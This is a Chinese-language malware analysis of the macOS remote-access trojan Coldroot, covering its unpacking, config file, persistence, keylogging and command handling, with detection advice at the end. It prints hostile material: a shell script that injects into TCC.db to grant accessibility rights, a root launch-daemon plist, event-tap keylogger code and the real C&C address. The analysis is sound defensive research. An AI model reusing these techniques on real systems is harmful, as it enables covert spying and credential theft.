针对OS X上Coldroot RAT跨平台后门的详细分析

背景

下个月,我将在新加坡举行的SyScan360大会上发表一些新的研究成果,主题为“合成现实——借助一次点击攻破macOS系统”。此次演讲,主要将讨论我在macOS最新版本系统上发现的漏洞,这些漏洞可以允许非特权代码与包括受保护的安全对话框在内的任意UI组件进行交互。我已经将该漏洞报告给苹果,并且他们目前已进行修复。但该漏洞允许用户从钥匙串中转储密码,同时也可以在用户不知情的情况下绕过High Sierra的“Secure Kext Loading”。
在我的演讲中,我主要讨论到目前已经进行缓解的一些攻击方式,这些攻击可以消除或避免UI安全提醒。试想一下,如果攻击者使用或滥用AppleScript,通过核心绘图(Core Graphics)发送模拟鼠标事件,或者直接与文件系统进行交互,那么攻击者便可以实现相当多的操作。DropBox就是其中的一个例子,它直接修改了macOS的“隐私数据库”(TCC.db),该数据库中包含了具有“可访问性”权限的应用程序列表。一旦拥有了这些权限,应用程序就可以与系统UI、其他应用程序进行交互,甚至拦截关键事件(例如键盘记录)。通过直接修改数据库,攻击者可以避免系统警报的产生:

尽管现在苹果通过系统完整性保护(System Integrity Protection,SIP)的方式来保护TCC.db从而阻止此类攻击,但目前仍有许多针对macOS系统的键盘记录器仍然利用这种攻击方式。我找到了其中一个键盘记录器,作为本次展示中的一个例子。
在VirusTotal中,我搜索了引用TCC.db数据库的文件,并且得到了几个命中的结果:

除了一系列CS GO游戏外挂(csgohack.app)和已知的键盘记录器(FreeKeylogger.dmg、KeyLogger.BlueBlood.A),我们还发现了一个名为com.apple.audio.driver2.app(SHA-256:c20980d3971923a0795662420063528a43dd533d07565eb4639ee8c0ccb77fdf)的未知应用。该文件在1月初提交并进行扫描,吸引了我的主意。

补充:@alvarnell指出,根据二进制文件中的字符串,其原始文件名可能是com.apple.audio.driver.app。因此,我们下文中将使用com.apple.audio.driver.app这一名称。
根据VirusTotal的显示结果,目前没有反病毒引擎将该文件标记为恶意软件,但该应用包含了对TCC.db的引用,所以值得我们仔细研究。

  __const:001D2804  text "UTF-16LE", 'touch /private/var/db/.AccessibilityAPIEnabled && s'
  __const:001D2804  text "UTF-16LE", 'qlite3 "/Library/Application Support/com.apple.TCC/'
  __const:001D2804  text "UTF-16LE", 'TCC.db" "INSERT or REPLACE INTO access (service, cl'
  __const:001D2804  text "UTF-16LE", 'ient, client_type, allowed, prompt_count) VALUES (',27h
  __const:001D2804  text "UTF-16LE", 'kTCCServiceAccessibility',27h,', ',27h,0

借助Digita Security的UXProtect,我发现苹果并没有悄悄发布任何用于恶意软件的XProtect签名(这样可以从根本上保护macOS用户):

确定恶意行为

我的第一个问题就是,com.apple.audio.driver.app到底有没有恶意行为?
尽管目前我们没有证据,但现在有几个非常可疑的点,能够推测该应用可能存在恶意行为:

  1. 如上所述,该应用程序包含对TCC.db的引用,如果不是苹果官方的应用,就没有任何理由去引用该文件。
  2. 该应用程序未签名,但却声称是“Apple音频驱动程序”。通过My WhatsYourSign Finder扩展,我们可以看到签名信息:
  3. 该应用程序使用了UPX加壳。尽管加壳这一行为本身不代表其具有恶意性,但我们很少看到正常的二进制文件会进行加壳:
    $ python isPacked.py com.apple.audio.driver.app
    scanning com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver
    
    UPX segments found
    
    binary is packed (packer: UPX)
    
  4. 该应用程序使用了macOS的标准“文档”图标,来伪装成文档,这也是恶意软件用来欺骗用户点击运行的一个常用策略:
  5. 在运行应用程序后,会弹出一个标准认证提示,请求用户输入凭证。在用户输入后,应用程序不会再执行其他可见的操作,这并不是一个正常的应用程序行为:
  6. 在后台,应用程序会为自身创建启动守护进程,这是恶意软件常用的方法,确保每次受感染的系统重新启动时都会自动(重新)启动该方法。借助BlockBlock可以检测到这种持久性存在:
  7. 在后台,应用程序将会自动与服务器进行通信。创建网络连接并不代表应用一定是恶意软件,但却是恶意软件常用的策略,特别是通过命令与控制(C&C)服务器进行任务检查。LuLu有能力拦截此类行为并进行告警:

    基于以上7点原因,我坚信,尽管VirusTotal上并没有看到反病毒软件将其标记为恶意,但实质上这就是一个恶意软件。
    接下来,我们要深入对它进行逆向,以便能了解其行为和功能。

    深入分析

    首先,我们对恶意软件进行脱壳。由于它使用了UPX进行加壳,那我们就可以通过upx –d来实现脱壳:

    $ upx -d Contents/MacOS/com.apple.audio.driver 
                        Ultimate Packer for eXecutables
                           Copyright (C) 1996 - 2013
    UPX 3.09        Markus Oberhumer, Laszlo Molnar & John Reiser   Feb 18th 2013
    
    With LZMA support, Compiled by Mounir IDRASSI (mounir@idrix.fr)
    
         File size         Ratio      Format      Name
    --------------------   ------   -----------   -----------
    3292828 <-    983040   29.85%    Mach/i386    com.apple.audio.driver
    
    Unpacked 1 file.
    

    在恶意软件被脱壳后,我们首先注意到,该软件是使用Pascal语言编写的。尽管已经实现了跨平台使用,但极少有人会在macOS上面使用Pascal语言编写应用程序,这一点非常特别。
    那么,我们是如何知道它是使用Pascal编写的呢?首先,通过查看其入口点main(),我们发现它调用了FPC_SYSTEMMAIN,随后调用了名为PASCALMAIN的函数:

    int _main(int arg0, int arg1, int arg2) {
     eax = _FPC_SYSTEMMAIN(arg2, arg1, arg2);
     return eax;
    }
    
    int _FPC_SYSTEMMAIN(int arg0, int arg1, int arg2) {
     *_U_$SYSTEM_$$_ARGC = arg0;
    
     _SYSTEM_$$_SET8087CW$WORD();
    
     eax = _PASCALMAIN();
     return eax;
    }
    

    请注意,这里的FPC代表“Free Pascal Compiler”。
    在二进制文件中还有一些其他的字符串引用了Free Pascal Compiler(FPC),这就表明了恶意软件中存在几个Pascal库:

    $ strings -a Contents/MacOS/com.apple.audio.driver | grep FPC
    
    FPC 3.1.1 [2016/04/09] for i386 - Darwin
    FPC_RESLOCATION
    
    TLazWriterTiff - Typhon LCL: 5.7 - FPC: 3.1.1
    TTiffImage - Typhon LCL: 5.7 - FPC: 3.1.1
    

    恶意软件的中的恶意逻辑部分开始于前面所提到的PASCALMAIN功能。由于存在调试字符串,同时我们掌握了详细的方法名称,所以逆向过程非常的简单。
    首先,恶意软件会加载其自身的“设置”。首先会建立一个到其设置文件的路径,随后调用LOADSETTINGS函数。如果加载成功,就会记录“LoadSettings ok”消息:

    __text:00011DD4    call    _CUSTAPP$_$TCUSTOMAPPLICATION_$__$$_GETEXENAME$$ANSISTRING
    __text:00011DD9    mov     eax, [ebp+var_30]
    __text:00011DDC    lea     edx, [ebp+var_2C]
    __text:00011DDF    call    _SYSUTILS_$$_EXTRACTFILEPATH$RAWBYTESTRING$$RAWBYTESTRING
    __text:00011DE4    mov     eax, [ebp+var_2C]
    __text:00011DE7    call    _GLOBALVARS_$$_LOADSETTINGS$ANSISTRING$$BOOLEAN
    __text:00011DEC    test    al, al
    __text:00011DEE    jz      short loc_11DFB
    __text:00011DF0    lea     eax, (aLoadsettingsOk - 11D95h)[ebx] ; "LoadSettings ok "
    __text:00011DF6    call    _DEBUGUNIT_$$_WRITELOG$UNICODESTRING
    

    通过反汇编,我们查看到恶意软件设置文件所在的位置。该恶意软件会将“conx.wol”附加到恶意软件二进制文件的文件路径(例如com.apple.audio.driver.app/Contents/MacOS/)并检查该文件是否存在:

    __text:000683F3    lea     ecx, (aConxWol - 683A2h)[ebx] ; "conx.wol"
    __text:000683F9    call    fpc_ansistr_concat
    __text:000683FE    mov     eax, [ebp+var_14]
    __text:00068401    call    _SYSUTILS_$$_FILEEXISTS$RAWBYTESTRING$$BOOLEAN
    

    文件监视器(比如macOS内置的fs_usage实用程序)会动态显示该文件的路径,因为恶意软件会在执行过程中打开该文件并读取:

    # fs_usage -w -f filesystem 
    access   (___F)   com.apple.audio.driver.app/Contents/MacOS/conx.wol
    open     F=3      (R_____)  com.apple.audio.driver.app/Contents/MacOS/conx.wol
    flock    F=3      
    read     F=3      B=0x92
    close    F=3
    

    打开设置文件“conx.wol”,我们就可以看到恶意软件的配置,使用的是纯文本JSON格式:

    $ cat com.apple.audio.driver.app/Contents/MacOS/conx.wol
    {
     "PO": 80,
     "HO": "45.77.49.118",
     "MU": "CRHHrHQuw JOlybkgerD",
     "VN": "Mac_Vic",
     "LN": "adobe_logs.log",
     "KL": true,
     "RN": true,
     "PN": "com.apple.audio.driver"
    }
    

    设置的含义可以通过它们的缩写和/或值来确定。例如,’PO’是端口(HTTP,80),’HO’是主机(攻击者的命令和控制服务器IP为45.77.49.118),’MU’可能是’互斥’,而’VN’是受害者的名字,’LN’值是键盘记录器(’KL’)的日志文件的名称。我认为’RN’是代表正常运行——这意味着植入的恶意程序可以以默认用户身份(相当于Root)运行。最后,’PN’是恶意软件的进程名称。
    一旦恶意软件从conx.wol中加载了它的设置,便会自行安装。安装过程的逻辑存储在“INSTALLMEIN $$ _ INSTALL”函数中:

    __text:00011E12    lea     eax, (aInstallInit - 11D95h)[ebx] ; "Install init "
    __text:00011E18    call    _DEBUGUNIT_$$_WRITELOG$UNICODESTRING
    __text:00011E1D    call    _INSTALLMEIN_$$_INSTALL$$BOOLEAN
    

    INSTALLMEIN $$ _ INSTALL函数会执行以下步骤:

  8. 在内存中构建一个启动守护进程plist;
  9. 写入com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver.plist;
  10. 执行/bin/cp,将其安装到/Library/LaunchDaemons/目录中;
  11. 通过/bin/launchctl启动新安装的启动守护进程。
    启动守护进程plist的“template(模板)”直接嵌入在恶意软件的二进制文件中:

    一旦保存到磁盘,我们就能轻松转储plist的内容:
    $ cat /Library/LaunchDaemons/com.apple.audio.driver.plist 
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ... >
    <plist version="1.0">
    <dict>
     <key>Label</key>
     <string>com.apple.audio.driver</string>
     <key>Program</key>
     <string>/private/var/tmp/com.apple.audio.driver.app
                   /Contents/MacOS/com.apple.audio.driver</string>
     <key>ProgramArguments</key>
     <array>
         <string>/private/var/tmp/com.apple.audio.driver.app
                 /Contents/MacOS/com.apple.audio.driver</string>
     </array>
     <key>KeepAlive</key>
     <true/>
     <key>RunAtLoad</key>
     <true/>
     <key>UserName</key>
     <string>root</string>
    </dict>
    

    当RunAtLoad值设置为True时,会在受感染的系统重新启动后自动启动恶意软件。
    我们可以对恶意软件进行动态监控,ProcInfo(我的开源进程监控软件)可以实现这一点:

    # ./procInfo
    
    //copy self to /private/var/tmp/
    process start:
    pid: 1222
    path: /bin/cp
    user: 501
    args: (
     "/bin/cp",
     "-r",
     "~/Desktop/com.apple.audio.driver.app/Contents/MacOS/../..",
     "/private/var/tmp/com.apple.audio.driver.app"
    )
    
    //copy launch daemon plist to /Library/LaunchDaemons
    process start:
    pid: 1230
    path: /bin/cp
    user: 0
    args: (
     "/bin/cp",
     "~/Desktop/com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver.plist",
     "/Library/LaunchDaemons"
    )
    
    //launch daemon instance
    process start:
    pid: 1231
    path: /bin/launchctl
    user: 0
    args: (
     "/bin/launchctl",
     load,
     "/Library/LaunchDaemons/com.apple.audio.driver.plist"
    )
    

    如前所述,这一持久性安装的尝试过程,会触发BlockBlock告警:

    细致的读者也许会注意到,安装(复制)操作和启动守护进程都是以Root身份(用户0)进行的。恶意软件会通过它的LETMEIN_EXEUTEWITHPRIVILEGESBOOLEAN函数执行这些操作来完成。
    通过逆向,我们发现这个函数只是调用苹果的AuthorizationExecuteWithPrivileges函数。操作系统会调用/usr/libexec/security_authtrampoline,从而以root身份执行指定的进程(security_authtrampoline为setuid):

    # ./procInfo
    
    process start:
    pid: 1232
    path: /usr/libexec/security_authtrampoline
    user: 501
    args: (
     "/usr/libexec/security_authtrampoline",
     "/bin/launchctl",
     "auth 3",
     start,
     "/Library/LaunchDaemons/com.apple.audio.driver.plist"
    )
    

    当然,为了使AuthorizationExecuteWithPrivileges成功,就必须要用户凭证,而且必须通过OS认证提示输入。恶意软件希望安全意识薄弱的用户输入这样的凭据:

    除了持续将自己安装为启动守护程序之外,“INSTALLMEIN $$ _ INSTALL”函数还会尝试为恶意软件提供可访问权限(以便它可以执行系统范围的键盘记录)。为了获得这些权限,恶意软件首先创建/private/var/db/.AccessibilityAPIEnabled文件,然后修改隐私数据库TCC.db。“.AccessibilityAPIEnabled”可以提供旧版本macOS的可访问权限。
    启用访问权限的逻辑可以在恶意软件在/private/var/tmp/runme.sh中创建的bash脚本中找到:

    $ cat /private/var/tmp/runme.sh
    
    #!/bin/sh
    touch /private/var/db/.AccessibilityAPIEnabled && 
    sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "INSERT or 
     REPLACE INTO access (service, client, client_type, allowed, prompt_count) 
     VALUES ('kTCCServiceAccessibility', 'com.apple.audio.driver', 0, 1, 0);"
    

    尽管这个脚本是以root用户执行的,但在新版本的macOS(Sierra及以上版本),由于受到了SIP的保护,会执行失败:

    $ sw_vers 
    ProductName:  Mac OS X
    ProductVersion: 10.13.3
    
    $ ls -lartO@  /Library/Application Support/com.apple.TCC/TCC.db 
    -rw-r--r--  1 root  wheel  restricted /Library/Application Support/com.apple.TCC/TCC.db
    

    但是,在旧版本的OSX/macOS上,恶意软件会获得可访问权限:

    此时,恶意软件现在已经具有持久性,并且将以root用户身份启动,每次感染系统重新启动时都会进行:

    现在我们来看看恶意软件的功能。
    每次恶意软件启动并运行时,它都会执行两项主要任务:
    启动键盘记录逻辑;
    检查命令和控制服务器,并执行收到的任务。
    键盘记录逻辑(称为’keyloser’)在恶意软件从PASCALMAIN执行KEYLOSER $ $ TKEYLOGGERTHREAD $ __ CREATE TKEYLOGGERTHREAD时启动。 键盘记录线程最终在0x0006a950处调用启动实际键盘记录逻辑的功能。通过对其反编译代码的查看,很容易发现恶意软件是使用苹果的CoreGraphics API来捕获按键:

    int sub_6a950(int arg0, int arg1, int arg2, int arg3, int arg4) {
    
    eax = CGEventTapCreate(0x1, 0x0, 0x0, 0x1c00, 0x0, sub_6a3d0);
    if (eax != 0x0) {
    CFRunLoopAddSource(CFRunLoopGetCurrent(), 
    CFMachPortCreateRunLoopSource(**_kCFAllocatorDefault, var_4, 0x0), **_kCFRunLoopCommonModes);
    
     CGEventTapEnable(0x1, 0x1);
     CFRunLoopRun();
    }
    
    ...
    
    return eax;
    }
    

    关于通过CoreGraphics API进行键盘记录,我实际上也在SyScan360的演讲中谈到了这一点:

    正如恶意代码和幻灯片中所展示的,如果想要捕获按键,只需要创建一个“Event Tap”,启用,并将其添加到当前的runloop中。现在,无论用户何时产生按键事件,操作系统都会自动调用CGEventTapCreate。对于我们分析的恶意软件来说,调用的是sub6a3d0。
    sub_6a3d0函数中代码的作用是:将按键以指定格式记录到设置文件“LN”值中指定的文件(adobe_logs.log)中。
    通过“追踪”键盘记录器的日志文件,我们可以观察它的行为。例如,记录我的银行凭证:

    一旦keylogging线程关闭并运行,通过调用CONNECTIONTHREAD $
    $ TMAINCLIENTTHREAD $ __ $$ CREATE $ BOOLEAN $$ TMAINCLIENTTHREAD来启动主客户端线程。首先打开连接到恶意软件的命令和控制服务器,其IP地址和端口在恶意软件的设置文件conx.wol中指定:

    $ cat com.apple.audio.driver.app/Contents/MacOS/conx.wol
    {
     "PO": 80,
     "HO": "45.77.49.118",
     ...
    }
    

    连接完成后,OSX / Coldroot会收集有关受感染主机的一些信息并将其发送到服务器。 调查逻辑在地址为0x000636c0的函数中实现,该函数调用各种函数,如GETHWIDSERIAL、GETUSERNAME和GETRAMSIZEALL:

    int sub_636c0() {
     ...
    
     _OSFUNCTIONS_$$_GETHWIDSERIAL$$ANSISTRING();
    
     _OSFUNCTIONS_$$_GETUSERNAME$$ANSISTRING();
    
     _OSFUNCTIONS_$$_GETOS$$ANSISTRING();
    
     _OSFUNCTIONS_$$_GETRAMSIZEALL$$INT64();
    
    }
    

    这些函数调用各种macOS工具,如sw_vers、uname和id来收集所需的信息:

    # ./procInfo
    
    //get OS version
    process start:
    pid: 1569
    path: /usr/bin/sw_vers
    user: 501
    args: (
     "/usr/bin/sw_vers"
    )
    
    //get architecture
    process start:
    pid: 1566
    path: /usr/bin/uname
    user: 501
    args: (
     "/usr/bin/uname",
     "-m"
    )
    
    //get user name
    process start:
    pid: 1567
    path: /usr/bin/id
    user: 501
    args: (
     "/usr/bin/id",
     "-F"
    )
    

    在调试器(lldb)中,我们可以设置发送断点,然后转储发送到命令和控制服务器的字节:

    lldb com.apple.audio.driver.app
    (lldb) target create "com.apple.audio.driver.app"
    Current executable set to 'com.apple.audio.driver.app' (i386).
    (lldb) b send
    
    (lldb) r
    
    Process 1294 stopped
    * thread #5, stop reason = breakpoint 1.1
     frame #0: 0xa766a39f libsystem_c.dylib`send
    
    (lldb) x/3x $esp
    0xb0596a9c: 0x00173a6d 0x00000003 0x03b2d1a8
    
    (lldb) x/100bx 0x03b2d1a8
    0x03b2d1a8: 0x70 0x75 0x3f 0x00 0x48 0x6f 0x59 0xb0
    0x03b2d1b0: 0x8e 0x8a 0x02 0x00 0x8c 0x75 0x3f 0x00
    0x03b2d1b8: 0xae 0x00 0x00 0x00 0x00 0x00 0x00 0x00
    0x03b2d1c0: 0xad 0xde 0x02 0x00 0x00 0x00 0x00 0x00
    0x03b2d1c8: 0x00 0x00 0x00 0x00 0x7b 0x22 0x56 0x65
    0x03b2d1d0: 0x72 0x22 0x3a 0x31 0x2c 0x22 0x52 0x41
    0x03b2d1d8: 0x4d 0x22 0x3a 0x30 0x2c 0x22 0x43 0x41
    0x03b2d1e0: 0x4d 0x22 0x3a 0x66 0x61 0x6c 0x73 0x65
    0x03b2d1e8: 0x2c 0x22 0x53 0x65 0x72 0x69 0x61 0x6c
    0x03b2d1f0: 0x22 0x3a 0x22 0x78 0x38 0x36 0x5f 0x36
    0x03b2d1f8: 0x34 0x5c 0x6e 0x22 0x2c 0x22 0x50 0x43
    0x03b2d200: 0x4e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x75
    0x03b2d208: 0x73 0x65 0x72 0x5c
    
    (lldb) x/s 0x03b2d1cc
    0x03b2d1cc: "{"Ver":1,"RAM":0,"CAM":false,"Serial":"x86_64n","PCName":
    "usern - user","OS":"Mac OS X10.13.2","ID":"Mac_Vic","AW":"N/A","AV":"N/A"}"
    

    请注意,恶意软件实际上也将其输出到标准输出(stdout):

    (lldb) c
    
    JSON Packet : {"Ver":1,"RAM":0,"CAM":false,"Serial":"x86_64n","PCName":
    "usern - user","OS":"Mac OS X10.13.2","ID":"Mac_Vic","AW":"N/A","AV":"N/A"}
    
    PC info sent ..
    

    如果我们允许恶意软件继续执行,可以在WireShark等网络监控工具中捕获相同数据:

    在这里,在发送到C&C服务器的数据中,为什么“Serial”为x86_64,“RAM”为0?
    原因在于,为了生成Serial的值,恶意软件会执行与-m标志同名的命令。这样一来,将返回系统的体系结构(而不是Serial,可以通过类似于:ioreg -l | grep IOPlatformSerialNumber检索)。为了确定RAM的数量,恶意软件会调用一个名为GETRAMSIZEALL的函数,而该函数只是返回了0:

    int _OSFUNCTIONS_$$_GETRAMSIZEALL$$INT64() 
    {
     return 0x0;
    }
    

    一旦OSX / Coldroot检查完毕,它将处理从命令和控制服务器返回的任务。其逻辑是在NEWCONNECTIONS $$ _ PROCESSPACKET $ TIDTCPCLIENT $ TIDBYTES函数中实现的。该功能解析出命令和控制服务器的命令,然后处理并执行命令。
    相应反汇编代码如下:

    __text:000691F7    call    _CONNECTIONFUNC_$$_BYTEARRAYTOMAINPACKET$TIDBYTES$$TMAINPACKET
    __text:000691FC    mov     eax, [ebp+command]
    __text:000691FF    test    eax, eax
    __text:00069201    jl      loc_6986B
    __text:00069207    test    eax, eax
    __text:00069209    jz      loc_692C9
    __text:0006920F    sub     eax, 2
    __text:00069212    jz      loc_692D9
    __text:00069218    sub     eax, 1
    __text:0006921B    jz      loc_6935E
    __text:00069221    sub     eax, 2
    __text:00069224    jz      loc_69374
    __text:0006922A    sub     eax, 1
    __text:0006922D    jz      loc_693EC
    __text:00069233    sub     eax, 1
    __text:00069236    jz      loc_694AA
    __text:0006923C    sub     eax, 2
    __text:0006923F    jz      loc_695A2
    ...
    

    通过静态分析,我们可以确定恶意软件支持哪些命令。我们来看一个这样的例子。
    当恶意软件从命令和控制服务器接收命令#7时,它执行0x000694aa处的逻辑。在相同的代码块中,它包含调试字符串“Delete File:”,对函数DELETEFILEFOLDER进行调用,以及其他调试字符串“{{{Delete OK Lets test}}}}”:
    “`
    text:000694DA lea edx, (aDeleteFile – 6914Bh)[ebx] ; “Delete File : “
    text:000694E0 lea eax, [ebp+varD8]
    text:000694E6 call fpc_unicodestr_concat
    text:000694EB mov eax, [ebp+var_D8]
    __text:000694F1 call _DEBUGUNIT
    $$_WRITELOG$UNICODESTRING

    text:00069504 mov eax, [ebp+var_A4]
    text:0006950A call FILESFUNC$$_DELETEFILEFOLDER$UNICODESTRING$$BOOLEAN

    text:00069548 lea eax, (aDeleteOkLetsTe – 6914Bh)[ebx] ; “{{{ Delete OK Lets test }}}”
    text:0006954E call DEBUGUNIT$$_WRITELOG$UNICODESTRING

我们猜测,命令#7可能是删除文件(目录)的命令,接下来需要确认一下。
DELETEFILEFOLDER函数调用_LAZFILEUTILS _ $$ _ DELETEFILEUTF8 $ ANSISTRING $$ BOOLEAN,后者又调用_SYSUTILS _ $$ _ DELETEFILE $ RAWBYTESTRING $$ BOOLEAN,最终调用unlink(删除文件或目录的系统调用)。
通过对其他命令的研究,我们发现了如下功能:
列出文件/目录;
对文件/目录重命名;
删除文件/目录;
列出进程;
执行进程;
结束进程;
上传/下载;
获得活动窗口信息;
远程桌面;
关机。
当恶意软件从服务器接收到启动远程桌面会话的命令时,它会产生一个名为“REMOTEDESKTOPTHREAD”的新线程。 这基本上处于一个while循环中(直到发出“停止远程桌面”命令为止),并将用户桌面的屏幕截图呈现给远程攻击者:

while ( / should capture / ) {

REMOTEDESKTOP$$_GETSHOT$LONGINT$LONGINT$WORD$WORD$$TIDBYTES(…);

_CONNECTIONFUNC_$$_CLIENTSENDBUFFER$TIDTCPCLIENT$TIDBYTES$$BOOLEAN();

_CLASSES$_$TTHREAD_$__$$_SLEEP$LONGWORD();

}

应该指出的是,如果没有从命令和控制服务器收到命令或任务,恶意软件将继续发送信号。有趣的是,在每个心跳信号中,都会自动发送用户活动窗口的名称:

$ cat /private/var/tmp/com.apple.audio.driver.app/Contents/MacOS/conx.wol
{“PO”:1337,”HO”:”127.0.0.1”,”MU”:”CRHHrHQuw JOlybkgerD”,”VN”:”Mac_Vic”,
“LN”:”adobe_logs.log”,”KL”:true,”RN”:true,”PN”:”com.apple.audio.driver”}

//local listener
// note: non-printable characters removed
$ nc -l 1337
{“Ver”:1,”RAM”:0,”CAM”:false,”Serial”:”x86_64n”,”PCName”:”usern – user”,
“OS”:”Mac OS X10.13.2”,”ID”:”Mac_Vic”,”AW”:”N/A”,”AV”:”N/A”}


Calculator
Safari
Terminal

上述全部就是我们对OSX / Coldroot的逆向分析。接下来,我们来看看作者、源代码和商业模式方面。
## Coldroot的其他分析
在完成技术分析之后,我就开始搜索关键词Coldzer0。通过该关键词可以查看Coldroot的反汇编,我们看到该字符串嵌入到二进制文件之中,可以识别作者的句柄:

NEWCONNECTIONS$$FINALIZY proc near
push ebp
mov ebp, esp
lea esp, [esp-8]
mov [ebp+var_4], ebx
call $+5
pop ebx
lea eax, (aCodedByColdzer – 6992Fh)[ebx] ; “Coded By Coldzer0 / Skype:Coldzer01 “
call _DEBUGUNIT
$$_WRITELOG$UNICODESTRING
mov ebx, [ebp+var_4]
mov esp, ebp
pop ebp
retn
“`
除了可能表明恶意软件作者的身份之外,还会发现以下信息:
Coldroot旧版(不完整版)的源代码;
一个有关恶意软件的信息性演示视频。
尽管(如上所述),源代码既旧又不完整,但还是为我们的分析提供了一些帮助。例如,PacketTypes.pas文件包含有关恶意软件的协议和任务命令的信息:

演示视频相当规范,可以帮助观看者进一步了解Coldroot:

此外,还包括如何远程控制:

通过视频,我们确认Coldroot是一个完全跨平台的远程管理工具(RAT):

该视频请参见:https://objective-see.com/images/blog/blog_0x2A/coldroot.mp4
就黑客的计划而言,他在评论中说明了即将出售该恶意软件产品,并且说明了发布日期是2017年1月1日:

结论

在本文中,我们对跨平台RAT OSX/Coldroot进行了全面的技术分析。其过程并不复杂,并且具备相当完备的功能。目前在VirusTotal上的所有反病毒引擎都没有检测到该恶意软件。
正如苹果所给出的方式那样,目前可以通过SIP来保护TCC.db,因此该恶意软件的键盘记录功能可以得到缓解。
此外,通过开源工具BlockBlock和LuLu,可以有效阻止此类威胁。


一旦怀疑自己感染该病毒,请首先查找未使用的启动守护进程,该进程位于/private/var/tmp/。可以使用KnockKnock来完成这项任务:

(完)